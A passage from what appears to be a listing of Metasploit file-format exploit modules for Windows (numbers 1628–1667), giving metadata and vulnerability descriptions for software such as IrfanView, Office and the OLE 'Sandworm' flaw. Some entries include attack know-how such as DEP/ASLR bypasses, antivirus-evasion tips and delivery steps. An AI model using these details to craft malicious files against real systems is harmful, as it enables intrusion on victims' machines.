Begin Exploit Number 1628
       Name: IBM Personal Communications iSeries Access WorkStation 
5.9 Profile
     Module: exploit/windows/fileformat/ibm_pcm_ws
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2012-02-28

Payload information:
  Space: 800
  Avoid: 4 characters

Description:
  The IBM Personal Communications I-Series application WorkStation is 
susceptible to a
  stack-based buffer overflow vulnerability within file parsing in 
which data copied to a
  location in memory exceeds the size of the reserved destination 
area. The buffer is located
  on the runtime program stack.

  When the WorkStation file is opened it will reach the code path at 
0x67575180 located in
  pcspref.dll which conducts string manipulation and validation on the 
data supplied in the
  WorkStation file. The application will first check if 'Profile' 
header exists and appends
  a dot with the next parameter within the file. It will then measure 
the character length
  of the header by calling strcspn with a dot as its null-terminated 
character.

  It will then write the header into memory and ensure the header ends 
with a NUL character.
  The parameter character array is passed to the strcpy() function. 
The application has
  declared a 52-element character array for the destination for strcpy 
function. The
  function does not perform bounds checking therefore, data can be
```

```
written paste the end of
  the buffer variable resulting in corruption of adjacent variables
including other local
  variables, program state information and function arguments. You
will notice that the
  saved RETURN address at offset 0x6c is overwritten by the data
written past the buffer.

  To ensure we can perform arbitrary code execution we must we provide
a valid pointer at
  0x74 which is used as an argument for the called function at
0x675751ED as an id file
  extension parameter. Once the caller regains control we will reach
our RETURN. The Ret
  instruction will be used to pop the overwritten saved return address
which was corrupted.

  This exploit has been written to bypass 2 mitigations DEP and ASLR
on a Windows platform.

  Versions tested:
  IBM System i Access for Windows V6R1M0 version 06.01.0001.0000a
  Which bundles pcsws.exe version 5090.27271.709

  Tested on:
  Microsoft Windows XP     [Version 5.1.2600]
  Microsoft Windows Vista  [Version 6.0.6002]
  Microsoft Windows 7      [Version 6.1.7600]

End Exploit Number 1628

Begin Exploit Number 1629
       Name: IcoFX Stack Buffer Overflow
     Module: exploit/windows/fileformat/icofx_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-12-10

Payload information:
  Space: 864

Description:
  This module exploits a stack-based buffer overflow vulnerability in
version 2.1
  of IcoFX. The vulnerability exists while parsing .ICO files, where a
specially
  crafted ICONDIR header providing an arbitrary long number of images
```

```
in the file
  can be used to trigger the overflow when reading the ICONDIRENTRY
structures.

End Exploit Number 1629

Begin Exploit Number 1630
       Name: PointDev IDEAL Migration Buffer Overflow
     Module: exploit/windows/fileformat/ideal_migration_ipj
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2009-12-05

Payload information:
  Space: 1000
  Avoid: 6 characters

Description:
  This module exploits a stack buffer overflow in versions v9.7
  through v10.5 of IDEAL Administration and versions 4.5 and 4.51 of
  IDEAL Migration. All versions are suspected to be vulnerable.
  By creating a specially crafted ipj file, an attacker may be able
  to execute arbitrary code.

  NOTE: IDEAL Administration 10.5 is compiled with /SafeSEH

End Exploit Number 1630

Begin Exploit Number 1631
       Name: i-FTP Schedule Buffer Overflow
     Module: exploit/windows/fileformat/iftp_schedule_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-11-06

Payload information:
  Space: 2000
  Avoid: 5 characters

Description:
  This module exploits a stack-based buffer overflow vulnerability in
  i-Ftp v2.20, caused by a long time value set for scheduled download.

  By persuading the victim to place a specially-crafted Schedule.xml
```

```
file
  in the i-FTP folder, a remote attacker could execute arbitrary code
on
  the system or cause the application to crash. This module has been
  tested successfully on Windows XP SP3.

End Exploit Number 1631

Begin Exploit Number 1632
       Name: Irfanview JPEG2000 jp2 Stack Buffer Overflow
     Module: exploit/windows/fileformat/irfanview_jpeg2000_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-01-16

Payload information:
  Space: 4000

Description:
  This module exploits a stack-based buffer overflow vulnerability in
  version <= 4.3.2.0 of Irfanview's JPEG2000.dll plugin. This exploit
has
  been tested on a specific version of irfanview (v4.3.2), although
other
  versions may work also. The vulnerability is triggered via parsing
an
  invalid qcd chunk structure and specifying a malformed qcd size and
  data.

  Payload delivery and vulnerability trigger can be executed in
multiple
  ways. The user can double click the file, use the file dialog, open
via
  the icon and drag/drop the file into Irfanview's window. An egg
hunter
  is used for stability.

End Exploit Number 1632

Begin Exploit Number 1633
       Name: Lattice Semiconductor ispVM System XCF File Handling
Overflow
     Module: exploit/windows/fileformat/ispvm_xcf_ispxcf
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
```

```
       Rank: Normal
  Disclosed: 2012-05-16

Payload information:
  Space: 4000
  Avoid: 6 characters

Description:
  This module exploits a vulnerability found in ispVM System 18.0.2.
Due to the way
  ispVM handles .xcf files, it is possible to cause a buffer overflow
with a specially
  crafted file, when a long value is supplied for the version
attribute of the ispXCF
  tag. It results in arbitrary code execution under the context of the
user.

End Exploit Number 1633

Begin Exploit Number 1634
       Name: KingView Log File Parsing Buffer Overflow
     Module: exploit/windows/fileformat/kingview_kingmess_kvl
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-11-20

Payload information:
  Space: 1408
  Avoid: 3 characters

Description:
  This module exploits a vulnerability found in KingView <= 6.55. It
exists in
  the KingMess.exe application when handling log files, due to the
insecure usage of
  sprintf. This module uses a malformed .kvl file which must be opened
by the victim
  via the KingMess.exe application, through the 'Browse Log Files'
option. The module
  has been tested successfully on KingView 6.52 and KingView 6.53 Free
Trial over
  Windows XP SP3.

End Exploit Number 1634

Begin Exploit Number 1635
       Name: Lattice Semiconductor PAC-Designer 6.21 Symbol Value
```

```
Buffer Overflow
     Module: exploit/windows/fileformat/lattice_pac_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-05-16

Payload information:
  Avoid: 3 characters

Description:
  This module exploits a vulnerability found in Lattice Semiconductor
PAC-Designer
  6.21.  As a .pac file, when supplying a long string of data to the
'value' field
  under the 'SymbolicSchematicData' tag, it is possible to cause a
memory corruption
  on the stack, which results in arbitrary code execution under the
context of the
  user.

End Exploit Number 1635

Begin Exploit Number 1636
       Name: Lotus Notes 8.0.x - 8.5.2 FP2 - Autonomy Keyview (.lzh
Attachment)
     Module: exploit/windows/fileformat/lotusnotes_lzh
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2011-05-24

Payload information:

Description:
  This module exploits a stack buffer overflow in Lotus Notes 8.5.2
when
  parsing a malformed, specially crafted LZH file. This vulnerability
was
  discovered binaryhouse.net

End Exploit Number 1636

Begin Exploit Number 1637
       Name: Magix Musik Maker 16 .mmm Stack Buffer Overflow
     Module: exploit/windows/fileformat/magix_musikmaker_16_mmm
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2011-04-26

Payload information:
  Space: 8000
  Avoid: 3 characters

Description:
  This module exploits a stack buffer overflow in Magix Musik Maker 
16.
  When opening a specially crafted arrangement file (.mmm) in the 
application, an
  unsafe strcpy() will allow you to overwrite a SEH handler.  This 
exploit
  bypasses DEP & ASLR, and works on XP, Vista & Windows 7.  Egghunter 
is used, and
  might require up to several seconds to receive a shell.

End Exploit Number 1637

Begin Exploit Number 1638
       Name: McAfee Remediation Client ActiveX Control Buffer Overflow
     Module: exploit/windows/fileformat/mcafee_hercules_deletesnapshot
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Low
  Disclosed: 2008-08-04

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in McAfee Remediation 
Agent 4.5.0.41. When
  sending an overly long string to the DeleteSnapshot() method
  of enginecom.dll (3.7.0.9) an attacker may be able to execute 
arbitrary code.
  This control is not marked safe for scripting, so choose your attack 
vector accordingly.

End Exploit Number 1638

Begin Exploit Number 1639
```

```
       Name: McAfee SaaS MyCioScan ShowReport Remote Command Execution
     Module: exploit/windows/fileformat/mcafee_showreport_exec
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-01-12

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a vulnerability found in McAfee Security-as-a-
Service.
  The ShowReport() function (located in the myCIOScn.dll ActiveX
component) fails
  to check the FileName argument, and passes it on to a
ShellExecuteW() function,
  therefore allows any malicious attacker to execute any process
that's on the
  local system.  However, if the victim machine is connected to a
remote share
  (or something similar), then it's also possible to execute arbitrary
code.
  Please note that a custom template is required for the payload,
because the
  default Metasploit template is detectable by McAfee -- any Windows
binary, such
  as calc.exe or notepad.exe, should bypass McAfee fine.

End Exploit Number 1639

Begin Exploit Number 1640
       Name: MediaCoder .M3U Buffer Overflow
     Module: exploit/windows/fileformat/mediacoder_m3u
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-06-24

Payload information:
  Space: 1200
  Avoid: 5 characters

Description:
  This module exploits a buffer overflow in MediaCoder 0.8.22. The
vulnerability
```

```
  occurs when adding an .m3u, allowing arbitrary code execution under
the context
  of the user. DEP bypass via ROP is supported on Windows 7, since the
MediaCoder
  runs with DEP. This module has been tested successfully on
MediaCoder 0.8.21.5539
  to 0.8.22.5530 over Windows XP SP3 and Windows 7 SP0.

End Exploit Number 1640

Begin Exploit Number 1641
       Name: Media Jukebox 8.0.400 Buffer Overflow (SEH)
     Module: exploit/windows/fileformat/mediajukebox
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2009-07-01

Payload information:
  Space: 3000
  Avoid: 26 characters

Description:
  This module exploits a stack buffer overflow in Media Jukebox
8.0.400
  by creating a specially crafted m3u or pls file.

End Exploit Number 1641

Begin Exploit Number 1642
       Name: MicroP 0.1.1.1600 (MPPL File) Stack Buffer Overflow
     Module: exploit/windows/fileformat/microp_mppl
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-08-23

Payload information:
  Space: 728
  Avoid: 3 characters

Description:
  This module exploits a vulnerability found in MicroP 0.1.1.1600.  A
stack-based
  buffer overflow occurs when the content of a .mppl file gets copied
onto the stack,
  which overwrites the lpFileName parameter of a CreateFileA()
function, and results
  arbitrary code execution under the context of the user.

End Exploit Number 1642

Begin Exploit Number 1643
       Name: Microsoft Windows Contact File Format Arbitary Code
Execution
     Module: exploit/windows/fileformat/microsoft_windows_contact
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2019-01-17

Payload information:

Description:
  This vulnerability allows remote attackers to execute arbitrary code
on vulnerable installations of Microsoft Windows.
  User interaction is required to exploit this vulnerability in that
the target must visit a malicious page or open a malicious file. The
flaw is due to the processing of ".contact" files <c:Url> node param
which takes an expected website value, however if an attacker
references an
  executable file it will run that instead without warning instead of
performing expected web navigation. This is dangerous and would be
unexpected to an end user.
  Executable files can live in a sub-directory so when the ".contact"
website link is clicked it traverses directories towards the
executable and runs.
  Making matters worse is if the files are compressed then downloaded
"mark of the web" (MOTW) may potentially not work as expected with
certain archive utilitys.
  The ".\" chars allow directory traversal to occur in order to run
the attackers supplied executable sitting unseen in the attackers
directory.
  This advisory is a duplicate issue that currently affects
Windows .VCF files, and released for the sake of completeness as it
affects Windows .contact files as well.

End Exploit Number 1643

Begin Exploit Number 1644
       Name: Millenium MP3 Studio 2.0 (PLS File) Stack Buffer Overflow
     Module: exploit/windows/fileformat/millenium_mp3_pls
   Platform: Windows
       Arch: 
```

```
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2009-07-30

Payload information:
  Space: 1000
  Avoid: 4 characters

Description:
  This module exploits a stack-based buffer overflow in Millenium MP3
Studio 2.0.
  An attacker must send the file to victim and the victim must open
the file.
  Alternatively it may be possible to execute code remotely via an
embedded
  PLS file within a browser, when the PLS extension is registered to
Millenium MP3 Studio.
  This functionality has not been tested in this module.

End Exploit Number 1644

Begin Exploit Number 1645
       Name: Mini-Stream RM-MP3 Converter v3.1.2.1 PLS File Stack
Buffer Overflow
     Module: exploit/windows/fileformat/mini_stream_pls_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-07-16

Payload information:
  Space: 1500
  Avoid: 3 characters

Description:
  This module exploits a stack based buffer overflow found in Mini-
Stream RM-MP3
  Converter v3.1.2.1. The overflow is triggered when an unsuspecting
victim
  opens the malicious PLS file.

End Exploit Number 1645

Begin Exploit Number 1646
       Name: MJM Core Player 2011 .s3m Stack Buffer Overflow
     Module: exploit/windows/fileformat/mjm_coreplayer2011_s3m
   Platform: Windows
```

```
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2011-04-30

Payload information:
  Space: 2339

Description:
  This module exploits a stack buffer overflow in MJM Core Player 2011
  When opening a malicious s3m file in this application, a stack 
buffer overflow can be
  triggered, resulting in arbitrary code execution.
  This exploit bypasses DEP & ASLR, and works on XP, Vista & Windows 
7.

End Exploit Number 1646

Begin Exploit Number 1647
       Name: MJM QuickPlayer 1.00 Beta 60a / QuickPlayer 2010 .s3m 
Stack Buffer Overflow
     Module: exploit/windows/fileformat/mjm_quickplayer_s3m
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2011-04-30

Payload information:
  Space: 2339

Description:
  This module exploits a stack buffer overflow in MJM QuickPlayer 1.00 
beta 60a
  and QuickPlayer 2010 (Multi-target exploit).  When opening a 
malicious s3m file in
  one of these 2 applications, a stack buffer overflow can be 
triggered, resulting in
  arbitrary code execution.

  This exploit bypasses DEP & ASLR, and works on XP, Vista & Windows 
7.

End Exploit Number 1647

Begin Exploit Number 1648
       Name: MOXA MediaDBPlayback ActiveX Control Buffer Overflow
     Module: exploit/windows/fileformat/moxa_mediadbplayback
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2010-10-19

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in MOXA_ActiveX_SDK. 
When
  sending an overly long string to the PlayFileName() of 
MediaDBPlayback.DLL (2.2.0.5)
  an attacker may be able to execute arbitrary code.

End Exploit Number 1648

Begin Exploit Number 1649
       Name: MPlayer Lite M3U Buffer Overflow
     Module: exploit/windows/fileformat/mplayer_m3u_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2011-03-19

Payload information:
  Space: 5040
  Avoid: 13 characters

Description:
  This module exploits a stack-based buffer overflow vulnerability in
  MPlayer Lite r33064, caused by improper bounds checking of an URL 
entry.

  By persuading the victim to open a specially-crafted .M3U file, 
specifically by
  drag-and-dropping it to the player, a remote attacker can execute 
arbitrary
  code on the system.

End Exploit Number 1649

Begin Exploit Number 1650
       Name: MPlayer SAMI Subtitle File Buffer Overflow
     Module: exploit/windows/fileformat/mplayer_sami_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2011-05-19

Payload information:
  Space: 4000
  Avoid: 10 characters

Description:
  This module exploits a stack-based buffer overflow found in the 
handling
  of SAMI subtitles files in MPlayer SVN Versions before 33471. It 
currently
  targets SMPlayer 0.6.8, which is distributed with a vulnerable 
version of MPlayer.

  The overflow is triggered when an unsuspecting victim opens a movie 
file first,
  followed by loading the malicious SAMI subtitles file from the GUI. 
Or, it can also
  be done from the console with the MPlayer "-sub" option.

End Exploit Number 1650

Begin Exploit Number 1651
       Name: MS09-067 Microsoft Excel Malformed FEATHEADER Record 
Vulnerability
     Module: exploit/windows/fileformat/ms09_067_excel_featheader
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2009-11-10

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a vulnerability in the handling of the 
FEATHEADER record
  by Microsoft Excel. Revisions of Office XP and later prior to the 
release of the
  MS09-067 bulletin are vulnerable.

  When processing a FEATHEADER (Shared Feature) record, Microsoft used
```

```
a data
  structure from the file to calculate a pointer offset without doing
proper
  validation. Attacker supplied data is then used to calculate the
location of an
  object, and in turn a virtual function call. This results in
arbitrary code
  execution.

  NOTE: On some versions of Office, the user will need to dismiss a
warning dialog
  prior to the payload executing.

End Exploit Number 1651

Begin Exploit Number 1652
       Name: MS10-004 Microsoft PowerPoint Viewer TextBytesAtom Stack
Buffer Overflow
     Module: exploit/windows/fileformat/ms10_004_textbytesatom
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2010-02-09

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow vulnerability in the
handling of
  the TextBytesAtom records by Microsoft PowerPoint Viewer. According
to Microsoft,
  the PowerPoint Viewer distributed with Office 2003 SP3 and earlier,
as well as
  Office 2004 for Mac, are vulnerable.

  NOTE: The vulnerable code path is not reachable on versions of
Windows prior to
  Windows Vista.

End Exploit Number 1652

Begin Exploit Number 1653
       Name: MS11-038 Microsoft Office Excel Malformed OBJ Record
Handling Overflow
     Module: exploit/windows/fileformat/ms10_038_excel_obj_bof
   Platform: Windows
```

```
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2010-06-08

Payload information:
  Space: 4000

Description:
  This module exploits a vulnerability found in Excel 2002 of 
Microsoft Office XP.
  By supplying a .xls file with a malformed OBJ (recType 0x5D) record 
an attacker
  can get the control of the execution flow. This results in arbitrary 
code execution under
  the context of the user.

End Exploit Number 1653

Begin Exploit Number 1654
       Name: MS10-087 Microsoft Word RTF pFragments Stack Buffer 
Overflow (File Format)
     Module: exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-11-09

Payload information:
  Space: 512
  Avoid: 1 characters

Description:
  This module exploits a stack-based buffer overflow in the handling 
of the
  'pFragments' shape property within the Microsoft Word RTF parser. 
All versions
  of Microsoft Office 2010, 2007, 2003, and XP prior to the release of 
the
  MS10-087 bulletin are vulnerable.

  This module does not attempt to exploit the vulnerability via 
Microsoft Outlook.

  The Microsoft Word RTF parser was only used by default in versions 
of Microsoft
  Word itself prior to Office 2007. With the release of Office 2007,
Microsoft
  began using the Word RTF parser, by default, to handle rich-text
messages within
  Outlook as well. It was possible to configure Outlook 2003 and
earlier to use
  the Microsoft Word engine too, but it was not a default setting.

  It appears as though Microsoft Office 2000 is not vulnerable. It is
unlikely that
  Microsoft will confirm or deny this since Office 2000 has reached
its support
  cycle end-of-life.

End Exploit Number 1654

Begin Exploit Number 1655
       Name: MS11-006 Microsoft Windows CreateSizedDIBSECTION Stack
Buffer Overflow
     Module: exploit/windows/fileformat/ms11_006_createsizeddibsection
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-12-15

Payload information:
  Space: 512
  Avoid: 1 characters

Description:
  This module exploits a stack-based buffer overflow in the handling
of thumbnails
  within .MIC files and various Office documents. When processing a
thumbnail bitmap
  containing a negative 'biClrUsed' value, a stack-based buffer
overflow occurs. This
  leads to arbitrary code execution.

  In order to trigger the vulnerable code, the folder containing the
document must be
  viewed using the "Thumbnails" view.

End Exploit Number 1655

Begin Exploit Number 1656
       Name: MS11-021 Microsoft Office 2007 Excel .xlb Buffer Overflow
     Module: exploit/windows/fileformat/ms11_021_xlb_bof
   Platform: Windows
       Arch: 
```

```
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2011-08-09

Payload information:

Description:
  This module exploits a vulnerability found in Excel of Microsoft
Office 2007.
  By supplying a malformed .xlb file, an attacker can control the
content (source)
  of a memcpy routine, and the number of bytes to copy, therefore
causing a stack-
  based buffer overflow.  This results in arbitrary code execution
under the context of
  the user.

End Exploit Number 1656

Begin Exploit Number 1657
       Name: MS12-005 Microsoft Office ClickOnce Unsafe Object Package
Handling Vulnerability
     Module: exploit/windows/fileformat/ms12_005
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-01-10

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a vulnerability found in Microsoft Office's
ClickOnce
  feature.  When handling a Macro document, the application fails to
recognize
  certain file extensions as dangerous executables, which can be used
to bypass
  the warning message.  This can allow attackers to trick victims into
opening the
  malicious document, which will load up either a python or ruby
payload, and
  finally, download and execute an executable.

End Exploit Number 1657

Begin Exploit Number 1658
```

```
       Name: MS12-027 MSCOMCTL ActiveX Buffer Overflow
     Module: exploit/windows/fileformat/ms12_027_mscomctl_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2012-04-10

Payload information:
  Space: 900
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in MSCOMCTL.OCX. It 
uses a malicious
  RTF to embed the specially crafted MSComctlLib.ListViewCtrl.2 
Control as exploited
  in the wild on April 2012.

  This module targets Office 2007 and Office 2010 targets. The DEP/
ASLR bypass on Office
  2010 is done with the Ikazuchi ROP chain proposed by Abysssec. This 
chain uses
  "msgr3en.dll", which will load after office got load, so the 
malicious file must
  be loaded through "File / Open" to achieve exploitation.

End Exploit Number 1658

Begin Exploit Number 1659
       Name: MS13-071 Microsoft Windows Theme File Handling Arbitrary 
Code Execution
     Module: exploit/windows/fileformat/ms13_071_theme
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-09-10

Payload information:
  Space: 2048

Description:
  This module exploits a vulnerability mainly affecting Microsoft 
Windows XP and Windows
  2003. The vulnerability exists in the handling of the Screen Saver 
path, in the [boot]
  section. An arbitrary path can be used as screen saver, including a
```

```
remote SMB resource,
  which allows for remote code execution when a malicious .theme file
is opened, and the
  "Screen Saver" tab is viewed. The code execution is also triggered
if the victim installs
  the malicious theme and stays away from the computer, when Windows
tries to display the
  screensaver.

End Exploit Number 1659

Begin Exploit Number 1660
       Name: MS14-017 Microsoft Word RTF Object Confusion
     Module: exploit/windows/fileformat/ms14_017_rtf
   Platform: Windows
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-04-01

Payload information:
  Space: 375

Description:
  This module creates a malicious RTF file that when opened in
  vulnerable versions of Microsoft Word will lead to code execution.
  The flaw exists in how a listoverridecount field can be modified
  to treat one structure as another.

  This bug was originally seen being exploited in the wild starting
  in April 2014. This module was created by reversing a public
  malware sample.

End Exploit Number 1660

Begin Exploit Number 1661
       Name: MS14-060 Microsoft Windows OLE Package Manager Code
Execution
     Module: exploit/windows/fileformat/ms14_060_sandworm
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-10-14

Payload information:
  Space: 2048
```

```
Description:
  This module exploits a vulnerability found in Windows Object Linking
and Embedding (OLE)
  allowing arbitrary code execution, publicly known as "Sandworm".
Platforms such as Windows
  Vista SP2 all the way to Windows 8, Windows Server 2008 and 2012 are
known to be
  vulnerable. However, based on our testing, the most reliable setup
is on Windows platforms
  running Office 2013 and Office 2010 SP2. And please keep in mind
that some other setups such
  as using Office 2010 SP1 might be less stable, and sometimes may end
up with a crash due to
  a failure in the CPackage::CreateTempFileName function.

  This module will generate three files: an INF, a GIF, and a PPSX
file. You are required to
  set up a SMB or Samba 3 server and host the INF and GIF there.
Systems such as Ubuntu or an
  older version of Windows (such as XP) work best for this because
they require little
  configuration to get going. The PPSX file is what you should send to
your target.

  In detail, the vulnerability has to do with how the Object Packager
2 component
  (packager.dll) handles an INF file that contains malicious registry
changes, which may be
  leveraged for code execution. First of all, Packager does not load
the INF file directly.
  As an attacker, you can trick it to load your INF anyway by
embedding the file path as
  a remote share in an OLE object. The packager will then treat it as
a type of media file,
  and load it with the packager!CPackage::OLE2MPlayerReadFromStream
function, which will
  download it with a CopyFileW call, save it in a temp folder, and
pass that information for
  later. The exploit will do this loading process twice: first for a
fake gif file that's
  actually the payload, and the second for the INF file.

  The packager will also look at each OLE object's XML Presentation
Command, specifically the
  type and cmd property. In the exploit, "verb" media command type is
used, and this triggers
  the packager!CPackage::DoVerb function. Also, "-3" is used as the
fake gif file's cmd
  property, and "3" is used for the INF. When the cmd is "-3", DoVerb
will bail. But when "3"
```

```
  is used (again, for the INF file), it will cause the packager to try
to find appropriate
  handler for it, which will end up with C:
\Windows\System32\infDefaultInstall.exe, and that
  will install/run the malicious INF file, and finally give us
arbitrary code execution.

End Exploit Number 1661

Begin Exploit Number 1662
       Name: MS14-064 Microsoft Windows OLE Package Manager Code
Execution Through Python
     Module: exploit/windows/fileformat/ms14_064_packager_python
   Platform: Python
       Arch: python
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-11-12

Payload information:

Description:
  This module exploits a vulnerability found in Windows Object Linking
and Embedding (OLE)
  allowing arbitrary code execution, bypassing the patch MS14-060, for
the vulnerability
  publicly known as "Sandworm", on systems with Python for Windows
installed. Windows Vista
  SP2 all the way to Windows 8, Windows Server 2008 and 2012 are known
to be vulnerable.
  However, based on our testing, the most reliable setup is on Windows
platforms running
  Office 2013 and Office 2010 SP2. Please keep in mind that some other
setups such as
  those using Office 2010 SP1 may be less stable, and may end up with
a crash due to a
  failure in the CPackage::CreateTempFileName function.

End Exploit Number 1662

Begin Exploit Number 1663
       Name: MS14-064 Microsoft Windows OLE Package Manager Code
Execution
     Module: exploit/windows/fileformat/ms14_064_packager_run_as_admin
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-10-21

Payload information:
  Space: 2048

Description:
  This module exploits a vulnerability found in Windows Object Linking 
and Embedding (OLE)
  allowing arbitrary code execution, publicly exploited in the wild as 
MS14-060 patch bypass.
  The Microsoft update tried to fix the vulnerability publicly known 
as "Sandworm". Platforms
  such as Windows Vista SP2 all the way to Windows 8, Windows Server 
2008 and 2012 are known
  to be vulnerable. However, based on our testing, the most reliable 
setup is on Windows
  platforms running Office 2013 and Office 2010 SP2. Please keep in 
mind that some other
  setups such as using Office 2010 SP1 might be less stable, and may 
end up with a
  crash due to a failure in the CPackage::CreateTempFileName function.

End Exploit Number 1663

Begin Exploit Number 1664
       Name: Microsoft Windows Shell LNK Code Execution
     Module: exploit/windows/fileformat/
ms15_020_shortcut_icon_dllloader
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-03-10

Payload information:
  Space: 2048

Description:
  This module exploits a vulnerability in the MS10-046 patch to abuse 
(again) the handling
  of Windows Shortcut files (.LNK) that contain an icon resource 
pointing to a malicious
  DLL. This module creates the required files to exploit the 
vulnerability. They must be
  uploaded to an UNC path accessible by the target. This module has 
been tested successfully
  on Windows 2003 SP2 with MS10-046 installed and Windows 2008 SP2 (32 
bits) with MS14-027
  installed.
```

```
End Exploit Number 1664

Begin Exploit Number 1665
       Name: MS15-100 Microsoft Windows Media Center MCL Vulnerability
     Module: exploit/windows/fileformat/ms15_100_mcl_exe
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-09-08

Payload information:

Description:
  This module exploits a vulnerability in Windows Media Center. By 
supplying
  an UNC path in the *.mcl file, a remote file will be automatically 
downloaded,
  which can result in arbitrary code execution.

End Exploit Number 1665

Begin Exploit Number 1666
       Name: Microsoft Visual Basic VBP Buffer Overflow
     Module: exploit/windows/fileformat/ms_visual_basic_vbp
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2007-09-04

Payload information:
  Space: 650
  Avoid: 4 characters

Description:
  This module exploits a stack buffer overflow in Microsoft Visual
  Basic 6.0. When a specially crafted vbp file containing a long
  reference line, an attacker may be able to execute arbitrary
  code.

End Exploit Number 1666

Begin Exploit Number 1667
       Name: MS13-096 Microsoft Tagged Image File Format (TIFF) 
Integer Overflow
     Module: exploit/windows/fileformat/mswin_tiff_overflow
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2013-11-05

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a vulnerability found in Microsoft's Tagged 
Image File Format.
  It was originally discovered in the wild, targeting Windows XP and 
Windows Server 2003
  users running Microsoft Office, specifically in the Middle East and 
South Asia region.

  The flaw is due to a DWORD value extracted from the TIFF file that 
is embedded as a
  drawing in Microsoft Office, and how it gets calculated with user-
controlled inputs,
  and stored in the EAX register. The 32-bit register will run out of 
storage space to
  represent the large value, which ends up being 0, but it still gets 
pushed as a
  dwBytes argument (size) for a HeapAlloc call. The HeapAlloc function 
will allocate a
  chunk anyway with size 0, and the address of this chunk is used as 
the destination buffer
  of a memcpy function, where the source buffer is the EXIF data (an 
extended image format
  supported by TIFF), and is also user-controlled. A function pointer 
in the chunk returned
  by HeapAlloc will end up being overwritten by the memcpy function, 
and then later used
  in OGL!GdipCreatePath. By successfully controlling this function 
pointer, and the
